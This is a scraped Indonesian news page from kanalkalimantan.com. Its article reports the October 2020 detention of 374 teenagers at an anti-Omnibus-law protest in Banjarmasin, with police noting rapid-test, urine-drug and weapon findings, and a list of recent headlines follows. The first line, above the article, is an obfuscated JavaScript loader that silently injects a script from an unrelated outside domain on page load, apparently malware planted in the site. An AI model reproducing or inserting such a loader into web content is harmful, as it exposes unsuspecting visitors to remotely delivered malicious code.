(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

374 Remaja Banjarmasin Dipulangkan, Lima Reaktif, Sajam Hingga Cek Urine Narkoba Jadi Catatan Kepolisian


KANALKALIMANTAN.COM, BANJARMASIN – Aksi demonstrasi susulan penolakan Undang-Undang Cipta Kerja pada Kamis (15/10/2020) kemarin, ternyata juga diikuti oleh anak-anak remaja. Tercatat, ada 374 remaja yang diamankan, dimana 270 remaja diamankan di Polda Kalsel dan 104 remaja digiring ke Polresta Banjarmasin, guna menjalani pemeriksaan.

Pada Jumat (16/10/2020) siang, Kapolda Kalsel Irjen Pol Nico Afinta mengumpulkan seluruh remaja yang diamankan di aula Bhayangkari Mapolda Kalsel di Banjarmasin sebelum dipulangkan. Di mana, orangtua dari remaja ini diharuskan untuk datang menjemput anak-anaknya yang diamankan oleh aparat.

Nico beralasan, diamankannya 374 remaja ini guna mencegah terjadinya keributan di tengah aksi demonstrasi penolakan UU Cipta Kerja yang didominasi oleh mahasiswa. Agar, tidak ada perselisihan antara mahasiswa dengan aparat keamanan yang melakukan penjagaan.

Nico menerangkan, seluruh remaja yang diamankan harus menjalani rapid test. “Hasilnya, ada lima orang yang reaktif rapid test. Sehingga kami kirimkan ke rumah sakit untuk segera dilakukan swab,” kata Nico.

Tak hanya itu, jajarannya juga melakukan test urine terhadap seluruh remaja yang diamankan. Hasilnya, empat remaja laki-laki dan satu remaja perempuan dinyatakan positif mengkonsumsi narkoba.

“Ada satu orang yang membawa senjata tajam,” imbuh Nico.

Bahkan, seluruh remaja ini telah mendapat catatan dari kepolisian. Sehingga, baik orangtua remaja maupun pihak sekolah mendapat pemberitahuan dari kepolisian untuk memberikan pembinaan.

“Upaya-upaya inilah yang merupakan bagian dari harkamtibmas (pemeliharaan keamanan dan ketertiban masyarakat). Saya kira, adik-adik yang membawa senjata tajam itu kita proses, baru dimasukkan ke SKCK (surat keterangan catatan kepolisian),” terang jenderal bintang dua ini.

Selain itu, remaja yang kedapatan positif narkoba, maka akan ditindaklanjuti apakah memiliki narkoba atau tidak. Hasilnya juga akan dicatat oleh kepolisian.

“Jadi melalui proses pengadilan terlebih dahulu. Kalau belum, maka akan kami beritahukan langkah-langkah ke orangtua dan sekolah,” pungkas Nico. (kanalkalimantan.com/fikri)

 

Reporter: Fikri
Editor : Bie


Desy Arfianty

Recent Posts

Diterjang Banjir Bandang Jembatan Penghubung Desa Langkap – Raranum Putus

KANALKALIMANTAN.COM, PARINGIN - Jembatan penghubung antara Desa Langkap dan Desa Raranum, Kecamatan Tebing Tinggi, Kabupaten… Read More

9 menit ago

Banjir Balangan Meluas 13.531 Jiwa Terdampak di 30 Desa

KANALKALIMANTAN.COM, PARINGIN – Pascabanjir bandang di Kabupaten Balangan memasuki hari keempat. Data terbaru menunjukkan jumlah… Read More

14 menit ago

UMP dan UMK Kalimantan Barat 2026 Terendah se-Kalimantan, Cukup untuk Biaya Hidup?

Pemerintah Provinsi Kalimantan Barat secara resmi telah menetapkan besaran Upah Minimum Provinsi (UMP) dan Upah… Read More

1 jam ago

Daftar UMP 2026 Setiap Provinsi Indonesia Lengkap Beserta Kenaikannya!

Pemerintah Pusat telah merilis formula perhitungan UMP 2026 sejak 18 Desember 2025. Adapun tenggat waktu… Read More

1 jam ago

Pemkab Banjar Layani Keperluan Konsumsi Ribuan Warga Terdampak Banjir Lewat Dapur Umum

KANALKALIMANTAN.COM, MARTAPURA - Selain menyerahkan langsung bantuan keperluan masyarakat terdampak banjir Pemerintah Kabupaten Banjar juga… Read More

2 jam ago

Daftar UMP dan UMK Kalimantan Selatan 2026, Cukupkah untuk Biaya Hidup Layak?

Upah Minimum Provinsi (UMP) dan Upah Minimum Kabupaten/Kota (UMK) Kalimantan Selatan 2026 akhirnya secara resmi… Read More

15 jam ago

This website uses cookies.